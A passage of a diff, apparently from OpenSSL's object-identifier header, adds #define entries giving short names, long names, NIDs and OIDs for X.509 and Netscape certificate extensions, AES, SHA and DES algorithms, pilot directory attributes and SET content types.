NID_issuing_distribution_point 770 +#define OBJ_issuing_distribution_point OBJ_id_ce,28L + +#define SN_certificate_issuer "certificateIssuer" +#define LN_certificate_issuer "X509v3 Certificate Issuer" +#define NID_certificate_issuer 771 +#define OBJ_certificate_issuer OBJ_id_ce,29L + +#define SN_name_constraints "nameConstraints" +#define LN_name_constraints "X509v3 Name Constraints" +#define NID_name_constraints 666 +#define OBJ_name_constraints OBJ_id_ce,30L + +#define SN_crl_distribution_points "crlDistributionPoints" +#define LN_crl_distribution_points "X509v3 CRL Distribution Points" +#define NID_crl_distribution_points 103 +#define OBJ_crl_distribution_points OBJ_id_ce,31L + +#define SN_certificate_policies "certificatePolicies" +#define LN_certificate_policies "X509v3 Certificate Policies" +#define NID_certificate_policies 89 +#define OBJ_certificate_policies OBJ_id_ce,32L + +#define SN_any_policy "anyPolicy" +#define LN_any_policy "X509v3 Any Policy" +#define NID_any_policy 746 +#define OBJ_any_policy OBJ_certificate_policies,0L + +#define SN_policy_mappings "policyMappings" +#define LN_policy_mappings "X509v3 Policy Mappings" +#define NID_policy_mappings 747 +#define OBJ_policy_mappings OBJ_id_ce,33L + +#define SN_authority_key_identifier "authorityKeyIdentifier" +#define LN_authority_key_identifier "X509v3 Authority Key Identifier" +#define NID_authority_key_identifier 90 +#define OBJ_authority_key_identifier OBJ_id_ce,35L + +#define SN_policy_constraints "policyConstraints" +#define LN_policy_constraints "X509v3 Policy Constraints" +#define NID_policy_constraints 401 +#define OBJ_policy_constraints OBJ_id_ce,36L + +#define SN_ext_key_usage "extendedKeyUsage" +#define LN_ext_key_usage "X509v3 Extended Key Usage" +#define NID_ext_key_usage 126 +#define OBJ_ext_key_usage OBJ_id_ce,37L + +#define SN_freshest_crl "freshestCRL" +#define LN_freshest_crl "X509v3 Freshest CRL" +#define NID_freshest_crl 857 +#define OBJ_freshest_crl OBJ_id_ce,46L + +#define SN_inhibit_any_policy "inhibitAnyPolicy" +#define LN_inhibit_any_policy "X509v3 Inhibit Any Policy" +#define NID_inhibit_any_policy 748 +#define OBJ_inhibit_any_policy OBJ_id_ce,54L + +#define SN_target_information "targetInformation" +#define LN_target_information "X509v3 AC Targeting" +#define NID_target_information 402 +#define OBJ_target_information OBJ_id_ce,55L + +#define SN_no_rev_avail "noRevAvail" +#define LN_no_rev_avail "X509v3 No Revocation Available" +#define NID_no_rev_avail 403 +#define OBJ_no_rev_avail OBJ_id_ce,56L + +#define SN_netscape "Netscape" +#define LN_netscape "Netscape Communications Corp." +#define NID_netscape 57 +#define OBJ_netscape 2L,16L,840L,1L,113730L + +#define SN_netscape_cert_extension "nsCertExt" +#define LN_netscape_cert_extension "Netscape Certificate Extension" +#define NID_netscape_cert_extension 58 +#define OBJ_netscape_cert_extension OBJ_netscape,1L + +#define SN_netscape_data_type "nsDataType" +#define LN_netscape_data_type "Netscape Data Type" +#define NID_netscape_data_type 59 +#define OBJ_netscape_data_type OBJ_netscape,2L + +#define SN_netscape_cert_type "nsCertType" +#define LN_netscape_cert_type "Netscape Cert Type" +#define NID_netscape_cert_type 71 +#define OBJ_netscape_cert_type OBJ_netscape_cert_extension,1L + +#define SN_netscape_base_url "nsBaseUrl" +#define LN_netscape_base_url "Netscape Base Url" +#define NID_netscape_base_url 72 +#define OBJ_netscape_base_url OBJ_netscape_cert_extension,2L + +#define SN_netscape_revocation_url "nsRevocationUrl" +#define LN_netscape_revocation_url "Netscape Revocation Url" +#define NID_netscape_revocation_url 73 +#define OBJ_netscape_revocation_url OBJ_netscape_cert_extension,3L + +#define SN_netscape_ca_revocation_url "nsCaRevocationUrl" +#define LN_netscape_ca_revocation_url "Netscape CA Revocation Url" +#define NID_netscape_ca_revocation_url 74 +#define OBJ_netscape_ca_revocation_url OBJ_netscape_cert_extension,4L + +#define SN_netscape_renewal_url "nsRenewalUrl" +#define LN_netscape_renewal_url "Netscape Renewal Url" +#define NID_netscape_renewal_url 75 +#define OBJ_netscape_renewal_url OBJ_netscape_cert_extension,7L + +#define SN_netscape_ca_policy_url "nsCaPolicyUrl" +#define LN_netscape_ca_policy_url "Netscape CA Policy Url" +#define NID_netscape_ca_policy_url 76 +#define OBJ_netscape_ca_policy_url OBJ_netscape_cert_extension,8L + +#define SN_netscape_ssl_server_name "nsSslServerName" +#define LN_netscape_ssl_server_name "Netscape SSL Server Name" +#define NID_netscape_ssl_server_name 77 +#define OBJ_netscape_ssl_server_name OBJ_netscape_cert_extension,12L + +#define SN_netscape_comment "nsComment" +#define LN_netscape_comment "Netscape Comment" +#define NID_netscape_comment 78 +#define OBJ_netscape_comment OBJ_netscape_cert_extension,13L + +#define SN_netscape_cert_sequence "nsCertSequence" +#define LN_netscape_cert_sequence "Netscape Certificate Sequence" +#define NID_netscape_cert_sequence 79 +#define OBJ_netscape_cert_sequence OBJ_netscape_data_type,5L + +#define SN_ns_sgc "nsSGC" +#define LN_ns_sgc "Netscape Server Gated Crypto" +#define NID_ns_sgc 139 +#define OBJ_ns_sgc OBJ_netscape,4L,1L + +#define SN_org "ORG" +#define LN_org "org" +#define NID_org 379 +#define OBJ_org OBJ_iso,3L + +#define SN_dod "DOD" +#define LN_dod "dod" +#define NID_dod 380 +#define OBJ_dod OBJ_org,6L + +#define SN_iana "IANA" +#define LN_iana "iana" +#define NID_iana 381 +#define OBJ_iana OBJ_dod,1L + +#define OBJ_internet OBJ_iana + +#define SN_Directory "directory" +#define LN_Directory "Directory" +#define NID_Directory 382 +#define OBJ_Directory OBJ_internet,1L + +#define SN_Management "mgmt" +#define LN_Management "Management" +#define NID_Management 383 +#define OBJ_Management OBJ_internet,2L + +#define SN_Experimental "experimental" +#define LN_Experimental "Experimental" +#define NID_Experimental 384 +#define OBJ_Experimental OBJ_internet,3L + +#define SN_Private "private" +#define LN_Private "Private" +#define NID_Private 385 +#define OBJ_Private OBJ_internet,4L + +#define SN_Security "security" +#define LN_Security "Security" +#define NID_Security 386 +#define OBJ_Security OBJ_internet,5L + +#define SN_SNMPv2 "snmpv2" +#define LN_SNMPv2 "SNMPv2" +#define NID_SNMPv2 387 +#define OBJ_SNMPv2 OBJ_internet,6L + +#define LN_Mail "Mail" +#define NID_Mail 388 +#define OBJ_Mail OBJ_internet,7L + +#define SN_Enterprises "enterprises" +#define LN_Enterprises "Enterprises" +#define NID_Enterprises 389 +#define OBJ_Enterprises OBJ_Private,1L + +#define SN_dcObject "dcobject" +#define LN_dcObject "dcObject" +#define NID_dcObject 390 +#define OBJ_dcObject OBJ_Enterprises,1466L,344L + +#define SN_mime_mhs "mime-mhs" +#define LN_mime_mhs "MIME MHS" +#define NID_mime_mhs 504 +#define OBJ_mime_mhs OBJ_Mail,1L + +#define SN_mime_mhs_headings "mime-mhs-headings" +#define LN_mime_mhs_headings "mime-mhs-headings" +#define NID_mime_mhs_headings 505 +#define OBJ_mime_mhs_headings OBJ_mime_mhs,1L + +#define SN_mime_mhs_bodies "mime-mhs-bodies" +#define LN_mime_mhs_bodies "mime-mhs-bodies" +#define NID_mime_mhs_bodies 506 +#define OBJ_mime_mhs_bodies OBJ_mime_mhs,2L + +#define SN_id_hex_partial_message "id-hex-partial-message" +#define LN_id_hex_partial_message "id-hex-partial-message" +#define NID_id_hex_partial_message 507 +#define OBJ_id_hex_partial_message OBJ_mime_mhs_headings,1L + +#define SN_id_hex_multipart_message "id-hex-multipart-message" +#define LN_id_hex_multipart_message "id-hex-multipart-message" +#define NID_id_hex_multipart_message 508 +#define OBJ_id_hex_multipart_message OBJ_mime_mhs_headings,2L + +#define SN_rle_compression "RLE" +#define LN_rle_compression "run length compression" +#define NID_rle_compression 124 +#define OBJ_rle_compression 1L,1L,1L,1L,666L,1L + +#define SN_zlib_compression "ZLIB" +#define LN_zlib_compression "zlib compression" +#define NID_zlib_compression 125 +#define OBJ_zlib_compression OBJ_id_smime_alg,8L + +#define OBJ_csor 2L,16L,840L,1L,101L,3L + +#define OBJ_nistAlgorithms OBJ_csor,4L + +#define OBJ_aes OBJ_nistAlgorithms,1L + +#define SN_aes_128_ecb "AES-128-ECB" +#define LN_aes_128_ecb "aes-128-ecb" +#define NID_aes_128_ecb 418 +#define OBJ_aes_128_ecb OBJ_aes,1L + +#define SN_aes_128_cbc "AES-128-CBC" +#define LN_aes_128_cbc "aes-128-cbc" +#define NID_aes_128_cbc 419 +#define OBJ_aes_128_cbc OBJ_aes,2L + +#define SN_aes_128_ofb128 "AES-128-OFB" +#define LN_aes_128_ofb128 "aes-128-ofb" +#define NID_aes_128_ofb128 420 +#define OBJ_aes_128_ofb128 OBJ_aes,3L + +#define SN_aes_128_cfb128 "AES-128-CFB" +#define LN_aes_128_cfb128 "aes-128-cfb" +#define NID_aes_128_cfb128 421 +#define OBJ_aes_128_cfb128 OBJ_aes,4L + +#define SN_aes_192_ecb "AES-192-ECB" +#define LN_aes_192_ecb "aes-192-ecb" +#define NID_aes_192_ecb 422 +#define OBJ_aes_192_ecb OBJ_aes,21L + +#define SN_aes_192_cbc "AES-192-CBC" +#define LN_aes_192_cbc "aes-192-cbc" +#define NID_aes_192_cbc 423 +#define OBJ_aes_192_cbc OBJ_aes,22L + +#define SN_aes_192_ofb128 "AES-192-OFB" +#define LN_aes_192_ofb128 "aes-192-ofb" +#define NID_aes_192_ofb128 424 +#define OBJ_aes_192_ofb128 OBJ_aes,23L + +#define SN_aes_192_cfb128 "AES-192-CFB" +#define LN_aes_192_cfb128 "aes-192-cfb" +#define NID_aes_192_cfb128 425 +#define OBJ_aes_192_cfb128 OBJ_aes,24L + +#define SN_aes_256_ecb "AES-256-ECB" +#define LN_aes_256_ecb "aes-256-ecb" +#define NID_aes_256_ecb 426 +#define OBJ_aes_256_ecb OBJ_aes,41L + +#define SN_aes_256_cbc "AES-256-CBC" +#define LN_aes_256_cbc "aes-256-cbc" +#define NID_aes_256_cbc 427 +#define OBJ_aes_256_cbc OBJ_aes,42L + +#define SN_aes_256_ofb128 "AES-256-OFB" +#define LN_aes_256_ofb128 "aes-256-ofb" +#define NID_aes_256_ofb128 428 +#define OBJ_aes_256_ofb128 OBJ_aes,43L + +#define SN_aes_256_cfb128 "AES-256-CFB" +#define LN_aes_256_cfb128 "aes-256-cfb" +#define NID_aes_256_cfb128 429 +#define OBJ_aes_256_cfb128 OBJ_aes,44L + +#define SN_aes_128_cfb1 "AES-128-CFB1" +#define LN_aes_128_cfb1 "aes-128-cfb1" +#define NID_aes_128_cfb1 650 + +#define SN_aes_192_cfb1 "AES-192-CFB1" +#define LN_aes_192_cfb1 "aes-192-cfb1" +#define NID_aes_192_cfb1 651 + +#define SN_aes_256_cfb1 "AES-256-CFB1" +#define LN_aes_256_cfb1 "aes-256-cfb1" +#define NID_aes_256_cfb1 652 + +#define SN_aes_128_cfb8 "AES-128-CFB8" +#define LN_aes_128_cfb8 "aes-128-cfb8" +#define NID_aes_128_cfb8 653 + +#define SN_aes_192_cfb8 "AES-192-CFB8" +#define LN_aes_192_cfb8 "aes-192-cfb8" +#define NID_aes_192_cfb8 654 + +#define SN_aes_256_cfb8 "AES-256-CFB8" +#define LN_aes_256_cfb8 "aes-256-cfb8" +#define NID_aes_256_cfb8 655 + +#define SN_des_cfb1 "DES-CFB1" +#define LN_des_cfb1 "des-cfb1" +#define NID_des_cfb1 656 + +#define SN_des_cfb8 "DES-CFB8" +#define LN_des_cfb8 "des-cfb8" +#define NID_des_cfb8 657 + +#define SN_des_ede3_cfb1 "DES-EDE3-CFB1" +#define LN_des_ede3_cfb1 "des-ede3-cfb1" +#define NID_des_ede3_cfb1 658 + +#define SN_des_ede3_cfb8 "DES-EDE3-CFB8" +#define LN_des_ede3_cfb8 "des-ede3-cfb8" +#define NID_des_ede3_cfb8 659 + +#define SN_id_aes128_wrap "id-aes128-wrap" +#define NID_id_aes128_wrap 788 +#define OBJ_id_aes128_wrap OBJ_aes,5L + +#define SN_id_aes192_wrap "id-aes192-wrap" +#define NID_id_aes192_wrap 789 +#define OBJ_id_aes192_wrap OBJ_aes,25L + +#define SN_id_aes256_wrap "id-aes256-wrap" +#define NID_id_aes256_wrap 790 +#define OBJ_id_aes256_wrap OBJ_aes,45L + +#define OBJ_nist_hashalgs OBJ_nistAlgorithms,2L + +#define SN_sha256 "SHA256" +#define LN_sha256 "sha256" +#define NID_sha256 672 +#define OBJ_sha256 OBJ_nist_hashalgs,1L + +#define SN_sha384 "SHA384" +#define LN_sha384 "sha384" +#define NID_sha384 673 +#define OBJ_sha384 OBJ_nist_hashalgs,2L + +#define SN_sha512 "SHA512" +#define LN_sha512 "sha512" +#define NID_sha512 674 +#define OBJ_sha512 OBJ_nist_hashalgs,3L + +#define SN_sha224 "SHA224" +#define LN_sha224 "sha224" +#define NID_sha224 675 +#define OBJ_sha224 OBJ_nist_hashalgs,4L + +#define OBJ_dsa_with_sha2 OBJ_nistAlgorithms,3L + +#define SN_dsa_with_SHA224 "dsa_with_SHA224" +#define NID_dsa_with_SHA224 802 +#define OBJ_dsa_with_SHA224 OBJ_dsa_with_sha2,1L + +#define SN_dsa_with_SHA256 "dsa_with_SHA256" +#define NID_dsa_with_SHA256 803 +#define OBJ_dsa_with_SHA256 OBJ_dsa_with_sha2,2L + +#define SN_hold_instruction_code "holdInstructionCode" +#define LN_hold_instruction_code "Hold Instruction Code" +#define NID_hold_instruction_code 430 +#define OBJ_hold_instruction_code OBJ_id_ce,23L + +#define OBJ_holdInstruction OBJ_X9_57,2L + +#define SN_hold_instruction_none "holdInstructionNone" +#define LN_hold_instruction_none "Hold Instruction None" +#define NID_hold_instruction_none 431 +#define OBJ_hold_instruction_none OBJ_holdInstruction,1L + +#define SN_hold_instruction_call_issuer "holdInstructionCallIssuer" +#define LN_hold_instruction_call_issuer "Hold Instruction Call Issuer" +#define NID_hold_instruction_call_issuer 432 +#define OBJ_hold_instruction_call_issuer OBJ_holdInstruction,2L + +#define SN_hold_instruction_reject "holdInstructionReject" +#define LN_hold_instruction_reject "Hold Instruction Reject" +#define NID_hold_instruction_reject 433 +#define OBJ_hold_instruction_reject OBJ_holdInstruction,3L + +#define SN_data "data" +#define NID_data 434 +#define OBJ_data OBJ_itu_t,9L + +#define SN_pss "pss" +#define NID_pss 435 +#define OBJ_pss OBJ_data,2342L + +#define SN_ucl "ucl" +#define NID_ucl 436 +#define OBJ_ucl OBJ_pss,19200300L + +#define SN_pilot "pilot" +#define NID_pilot 437 +#define OBJ_pilot OBJ_ucl,100L + +#define LN_pilotAttributeType "pilotAttributeType" +#define NID_pilotAttributeType 438 +#define OBJ_pilotAttributeType OBJ_pilot,1L + +#define LN_pilotAttributeSyntax "pilotAttributeSyntax" +#define NID_pilotAttributeSyntax 439 +#define OBJ_pilotAttributeSyntax OBJ_pilot,3L + +#define LN_pilotObjectClass "pilotObjectClass" +#define NID_pilotObjectClass 440 +#define OBJ_pilotObjectClass OBJ_pilot,4L + +#define LN_pilotGroups "pilotGroups" +#define NID_pilotGroups 441 +#define OBJ_pilotGroups OBJ_pilot,10L + +#define LN_iA5StringSyntax "iA5StringSyntax" +#define NID_iA5StringSyntax 442 +#define OBJ_iA5StringSyntax OBJ_pilotAttributeSyntax,4L + +#define LN_caseIgnoreIA5StringSyntax "caseIgnoreIA5StringSyntax" +#define NID_caseIgnoreIA5StringSyntax 443 +#define OBJ_caseIgnoreIA5StringSyntax OBJ_pilotAttributeSyntax,5L + +#define LN_pilotObject "pilotObject" +#define NID_pilotObject 444 +#define OBJ_pilotObject OBJ_pilotObjectClass,3L + +#define LN_pilotPerson "pilotPerson" +#define NID_pilotPerson 445 +#define OBJ_pilotPerson OBJ_pilotObjectClass,4L + +#define SN_account "account" +#define NID_account 446 +#define OBJ_account OBJ_pilotObjectClass,5L + +#define SN_document "document" +#define NID_document 447 +#define OBJ_document OBJ_pilotObjectClass,6L + +#define SN_room "room" +#define NID_room 448 +#define OBJ_room OBJ_pilotObjectClass,7L + +#define LN_documentSeries "documentSeries" +#define NID_documentSeries 449 +#define OBJ_documentSeries OBJ_pilotObjectClass,9L + +#define SN_Domain "domain" +#define LN_Domain "Domain" +#define NID_Domain 392 +#define OBJ_Domain OBJ_pilotObjectClass,13L + +#define LN_rFC822localPart "rFC822localPart" +#define NID_rFC822localPart 450 +#define OBJ_rFC822localPart OBJ_pilotObjectClass,14L + +#define LN_dNSDomain "dNSDomain" +#define NID_dNSDomain 451 +#define OBJ_dNSDomain OBJ_pilotObjectClass,15L + +#define LN_domainRelatedObject "domainRelatedObject" +#define NID_domainRelatedObject 452 +#define OBJ_domainRelatedObject OBJ_pilotObjectClass,17L + +#define LN_friendlyCountry "friendlyCountry" +#define NID_friendlyCountry 453 +#define OBJ_friendlyCountry OBJ_pilotObjectClass,18L + +#define LN_simpleSecurityObject "simpleSecurityObject" +#define NID_simpleSecurityObject 454 +#define OBJ_simpleSecurityObject OBJ_pilotObjectClass,19L + +#define LN_pilotOrganization "pilotOrganization" +#define NID_pilotOrganization 455 +#define OBJ_pilotOrganization OBJ_pilotObjectClass,20L + +#define LN_pilotDSA "pilotDSA" +#define NID_pilotDSA 456 +#define OBJ_pilotDSA OBJ_pilotObjectClass,21L + +#define LN_qualityLabelledData "qualityLabelledData" +#define NID_qualityLabelledData 457 +#define OBJ_qualityLabelledData OBJ_pilotObjectClass,22L + +#define SN_userId "UID" +#define LN_userId "userId" +#define NID_userId 458 +#define OBJ_userId OBJ_pilotAttributeType,1L + +#define LN_textEncodedORAddress "textEncodedORAddress" +#define NID_textEncodedORAddress 459 +#define OBJ_textEncodedORAddress OBJ_pilotAttributeType,2L + +#define SN_rfc822Mailbox "mail" +#define LN_rfc822Mailbox "rfc822Mailbox" +#define NID_rfc822Mailbox 460 +#define OBJ_rfc822Mailbox OBJ_pilotAttributeType,3L + +#define SN_info "info" +#define NID_info 461 +#define OBJ_info OBJ_pilotAttributeType,4L + +#define LN_favouriteDrink "favouriteDrink" +#define NID_favouriteDrink 462 +#define OBJ_favouriteDrink OBJ_pilotAttributeType,5L + +#define LN_roomNumber "roomNumber" +#define NID_roomNumber 463 +#define OBJ_roomNumber OBJ_pilotAttributeType,6L + +#define SN_photo "photo" +#define NID_photo 464 +#define OBJ_photo OBJ_pilotAttributeType,7L + +#define LN_userClass "userClass" +#define NID_userClass 465 +#define OBJ_userClass OBJ_pilotAttributeType,8L + +#define SN_host "host" +#define NID_host 466 +#define OBJ_host OBJ_pilotAttributeType,9L + +#define SN_manager "manager" +#define NID_manager 467 +#define OBJ_manager OBJ_pilotAttributeType,10L + +#define LN_documentIdentifier "documentIdentifier" +#define NID_documentIdentifier 468 +#define OBJ_documentIdentifier OBJ_pilotAttributeType,11L + +#define LN_documentTitle "documentTitle" +#define NID_documentTitle 469 +#define OBJ_documentTitle OBJ_pilotAttributeType,12L + +#define LN_documentVersion "documentVersion" +#define NID_documentVersion 470 +#define OBJ_documentVersion OBJ_pilotAttributeType,13L + +#define LN_documentAuthor "documentAuthor" +#define NID_documentAuthor 471 +#define OBJ_documentAuthor OBJ_pilotAttributeType,14L + +#define LN_documentLocation "documentLocation" +#define NID_documentLocation 472 +#define OBJ_documentLocation OBJ_pilotAttributeType,15L + +#define LN_homeTelephoneNumber "homeTelephoneNumber" +#define NID_homeTelephoneNumber 473 +#define OBJ_homeTelephoneNumber OBJ_pilotAttributeType,20L + +#define SN_secretary "secretary" +#define NID_secretary 474 +#define OBJ_secretary OBJ_pilotAttributeType,21L + +#define LN_otherMailbox "otherMailbox" +#define NID_otherMailbox 475 +#define OBJ_otherMailbox OBJ_pilotAttributeType,22L + +#define LN_lastModifiedTime "lastModifiedTime" +#define NID_lastModifiedTime 476 +#define OBJ_lastModifiedTime OBJ_pilotAttributeType,23L + +#define LN_lastModifiedBy "lastModifiedBy" +#define NID_lastModifiedBy 477 +#define OBJ_lastModifiedBy OBJ_pilotAttributeType,24L + +#define SN_domainComponent "DC" +#define LN_domainComponent "domainComponent" +#define NID_domainComponent 391 +#define OBJ_domainComponent OBJ_pilotAttributeType,25L + +#define LN_aRecord "aRecord" +#define NID_aRecord 478 +#define OBJ_aRecord OBJ_pilotAttributeType,26L + +#define LN_pilotAttributeType27 "pilotAttributeType27" +#define NID_pilotAttributeType27 479 +#define OBJ_pilotAttributeType27 OBJ_pilotAttributeType,27L + +#define LN_mXRecord "mXRecord" +#define NID_mXRecord 480 +#define OBJ_mXRecord OBJ_pilotAttributeType,28L + +#define LN_nSRecord "nSRecord" +#define NID_nSRecord 481 +#define OBJ_nSRecord OBJ_pilotAttributeType,29L + +#define LN_sOARecord "sOARecord" +#define NID_sOARecord 482 +#define OBJ_sOARecord OBJ_pilotAttributeType,30L + +#define LN_cNAMERecord "cNAMERecord" +#define NID_cNAMERecord 483 +#define OBJ_cNAMERecord OBJ_pilotAttributeType,31L + +#define LN_associatedDomain "associatedDomain" +#define NID_associatedDomain 484 +#define OBJ_associatedDomain OBJ_pilotAttributeType,37L + +#define LN_associatedName "associatedName" +#define NID_associatedName 485 +#define OBJ_associatedName OBJ_pilotAttributeType,38L + +#define LN_homePostalAddress "homePostalAddress" +#define NID_homePostalAddress 486 +#define OBJ_homePostalAddress OBJ_pilotAttributeType,39L + +#define LN_personalTitle "personalTitle" +#define NID_personalTitle 487 +#define OBJ_personalTitle OBJ_pilotAttributeType,40L + +#define LN_mobileTelephoneNumber "mobileTelephoneNumber" +#define NID_mobileTelephoneNumber 488 +#define OBJ_mobileTelephoneNumber OBJ_pilotAttributeType,41L + +#define LN_pagerTelephoneNumber "pagerTelephoneNumber" +#define NID_pagerTelephoneNumber 489 +#define OBJ_pagerTelephoneNumber OBJ_pilotAttributeType,42L + +#define LN_friendlyCountryName "friendlyCountryName" +#define NID_friendlyCountryName 490 +#define OBJ_friendlyCountryName OBJ_pilotAttributeType,43L + +#define LN_organizationalStatus "organizationalStatus" +#define NID_organizationalStatus 491 +#define OBJ_organizationalStatus OBJ_pilotAttributeType,45L + +#define LN_janetMailbox "janetMailbox" +#define NID_janetMailbox 492 +#define OBJ_janetMailbox OBJ_pilotAttributeType,46L + +#define LN_mailPreferenceOption "mailPreferenceOption" +#define NID_mailPreferenceOption 493 +#define OBJ_mailPreferenceOption OBJ_pilotAttributeType,47L + +#define LN_buildingName "buildingName" +#define NID_buildingName 494 +#define OBJ_buildingName OBJ_pilotAttributeType,48L + +#define LN_dSAQuality "dSAQuality" +#define NID_dSAQuality 495 +#define OBJ_dSAQuality OBJ_pilotAttributeType,49L + +#define LN_singleLevelQuality "singleLevelQuality" +#define NID_singleLevelQuality 496 +#define OBJ_singleLevelQuality OBJ_pilotAttributeType,50L + +#define LN_subtreeMinimumQuality "subtreeMinimumQuality" +#define NID_subtreeMinimumQuality 497 +#define OBJ_subtreeMinimumQuality OBJ_pilotAttributeType,51L + +#define LN_subtreeMaximumQuality "subtreeMaximumQuality" +#define NID_subtreeMaximumQuality 498 +#define OBJ_subtreeMaximumQuality OBJ_pilotAttributeType,52L + +#define LN_personalSignature "personalSignature" +#define NID_personalSignature 499 +#define OBJ_personalSignature OBJ_pilotAttributeType,53L + +#define LN_dITRedirect "dITRedirect" +#define NID_dITRedirect 500 +#define OBJ_dITRedirect OBJ_pilotAttributeType,54L + +#define SN_audio "audio" +#define NID_audio 501 +#define OBJ_audio OBJ_pilotAttributeType,55L + +#define LN_documentPublisher "documentPublisher" +#define NID_documentPublisher 502 +#define OBJ_documentPublisher OBJ_pilotAttributeType,56L + +#define SN_id_set "id-set" +#define LN_id_set "Secure Electronic Transactions" +#define NID_id_set 512 +#define OBJ_id_set OBJ_international_organizations,42L + +#define SN_set_ctype "set-ctype" +#define LN_set_ctype "content types" +#define NID_set_ctype 513 +#define OBJ_set_ctype OBJ_id_set,0L + +#define SN_set_msgExt "set-msgExt" +#define LN_set_msgExt "message extensions" +#define NID_set_msgExt 514 +#define OBJ_set_msgExt OBJ_id_set,1L + +#define SN_set_attr "set-attr" +#define NID_set_attr 515 +#define OBJ_set_attr OBJ_id_set,3L + +#define SN_set_policy "set-policy" +#define NID_set_policy 516 +#define OBJ_set_policy OBJ_id_set,5L + +#define SN_set_certExt "set-certExt" +#define LN_set_certExt "certificate extensions" +#define NID_set_certExt 517 +#define OBJ_set_certExt OBJ_id_set,7L + +#define SN_set_brand "set-brand" +#define NID_set_brand 518 +#define OBJ_set_brand OBJ_id_set,8L + +#define SN_setct_PANData "setct-PANData" +#define NID_setct_PANData 519 +#define OBJ_setct_PANData OBJ_set_ctype,0L + +#define SN_setct_PANToken "setct-PANToken" +#define NID_setct_PANToken 520 +#define OBJ_setct_PANToken OBJ_set_ctype,1L + +#define SN_setct_PANOnly "setct-PANOnly" +#define NID_setct_PANOnly 521 +#define OBJ_setct_PANOnly OBJ_set_ctype,2L + +#define SN_setct_OIData "setct-OIData" +#define NID_setct_OIData 522 +#define OBJ_setct_OIData OBJ_set_ctype,3L + +#define SN_setct_PI "setct-PI" +#define NID_setct_PI 523 +#define OBJ_setct_PI OBJ_set_ctype,4L + +#define SN_setct_PIData "setct-PIData" +#define NID_setct_PIData 524 +#define OBJ_setct_PIData OBJ_set_ctype,5L + +#define SN_setct_PIDataUnsigned "setct-PIDataUnsigned" +#define NID_setct_PIDataUnsigned 525 +#define OBJ_setct_PIDataUnsigned OBJ_set_ctype,6L + +#define SN_setct_HODInput "setct-HODInput" +#define NID_setct_HODInput 526 +#define OBJ_setct_HODInput OBJ_set_ctype,7L + +#define SN_setct_AuthResBaggage "setct-AuthResBaggage" +#define NID_setct_AuthResBaggage 527 +#define OBJ_setct_AuthResBaggage OBJ_set_ctype,8L + +#define SN_setct_AuthRevReqBaggage "setct-AuthRevReqBaggage" +#define NID_setct_AuthRevReqBaggage 528 +#define OBJ_setct_AuthRevReqBaggage OBJ_set_ctype,9L + +#define SN_setct_AuthRevResBaggage "setct-AuthRevResBaggage" +#define NID_setct_AuthRevResBaggage 529 +#define OBJ_setct_AuthRevResBaggage OBJ_set_ctype,10L + +#define SN_setct_CapTokenSeq "setct-CapTokenSeq" +#define NID_setct_CapTokenSeq 530 +#define OBJ_setct_CapTokenSeq OBJ_set_ctype,11L + +#define SN_setct_PInitResData "setct-PInitResData" +#define NID_setct_PInitResData 531 +#define OBJ_setct_PInitResData OBJ_set_ctype,12L + +#define SN_setct_PI_TBS "setct-PI-TBS" +#define NID_setct_PI_TBS 532 +#define OBJ_setct_PI_TBS OBJ_set_ctype,13L + +#define SN_setct_PResData "setct-PResData" +#define NID_setct_PResData 533 +#define OBJ_setct_PResData OBJ_set_ctype,14L + +#define SN_setct_AuthReqTBS "setct-AuthReqTBS" +#define NID_setct_AuthReqTBS 534 +#define OBJ_setct_AuthReqTBS OBJ_set_ctype,16L + +#define SN_setct_AuthResTBS "setct-AuthResTBS" +#define NID_setct_AuthResTBS 535 +#define OBJ_setct_AuthResTBS OBJ_set_ctype,17L + +#define SN_setct_AuthResTBSX "setct-AuthResTBSX" +#define NID_setct_AuthResTBSX 536 +#define OBJ_setct_AuthResTBSX OBJ_set_ctype,18L + +#define SN_setct_AuthTokenTBS "setct-AuthTokenTBS" +#define NID_setct_AuthTokenTBS 537 +#define OBJ_setct_AuthTokenTBS OBJ_set_ctype,19L + +#define SN_setct_CapTokenData "setct-CapTokenData" +#define NID_setct_CapTokenData 538 +#define OBJ_setct_CapTokenData OBJ_set_ctype,20L + +#define SN_setct_CapTokenTBS "setct-CapTokenTBS" +#define NID_setct_CapTokenTBS 539 +#define OBJ_setct_CapTokenTBS OBJ_set_ctype,21L + +#define SN_setct_AcqCardCodeMsg "setct-AcqCardCodeMsg" +#define NID_setct_AcqCardCodeMsg 540 +#define OBJ_setct_AcqCardCodeMsg OBJ_set_ctype,22L + +#define SN_setct_AuthRevReqTBS "setct-AuthRevReqTBS" +#define NID_setct_AuthRevReqTBS 541 +#define OBJ_setct_AuthRevReqTBS OBJ_set_ctype,23L + +#define SN_setct_AuthRevResData "setct-AuthRevResData" +#define NID_setct_AuthRevResData 542 +#define OBJ_setct_AuthRevResData OBJ_set_ctype,24L + +#define SN_setct_AuthRevResTBS "setct-AuthRevResTBS" +#define NID_setct_AuthRevResTBS 543 +#define OBJ_setct_AuthRevResTBS OBJ_set_ctype,25L + +#define SN_setct_CapReqTBS "setct-CapReqTBS" +#define NID_setct_CapReqTBS 544 +#define OBJ_setct_CapReqTBS OBJ_set_ctype,26L + +#define SN_setct_CapReqTBSX "setct-CapReqTBSX" +#define NID_setct_CapReqTBSX 545 +#define OBJ_setct_CapReqTBSX OBJ_set_ctype,27L + +#define SN_setct_CapResData "setct-CapResData" +#define NID_setct_CapResData 546 +#define OBJ_setct_CapResData OBJ_set_ctype,28L + +#define SN_setct_CapRevReqTBS "setct-CapRevReqTBS" +#define NID_setct_CapRevReqTBS 547 +#define OBJ_setct_CapRevReqTBS OBJ_set_ctype,29L + +#define SN_setct_CapRevReqTBSX "setct-CapRevReqTBSX" +#define NID_setct_CapRevReqTBSX 548 +#define OBJ_setct_CapRevReqTBSX OBJ_set_ctype,30L + +#define SN_setct_CapRevResData "setct-CapRevResData" +#define NID_setct_CapRevResData 549 +#define OBJ_setct_CapRevResData OBJ_set_ctype,31L + +#define SN_setct_CredReqTBS "setct-CredReqTBS" +#define NID_setct_CredReqTBS 550 +#define OBJ_setct_CredReqTBS OBJ_set_ctype,32L + +#define SN_setct_CredReqTBSX "setct-CredReqTBSX" +#define NID_setct_CredReqTBSX 551 +#define OBJ_setct_CredReqTBSX OBJ_set_ctype,33L + +#define SN_setct_CredResData "setct-CredResData" +#define NID_setct_CredResData 552 +#define OBJ_setct_CredResData OBJ_set_ctype,34L + +#define SN_setct_CredRevReqTBS "setct-CredRevReqTBS" +#define NID_setct_CredRevReqTBS 553 +#define OBJ_setct_CredRevReqTBS OBJ_set_ctype,35L + +#define 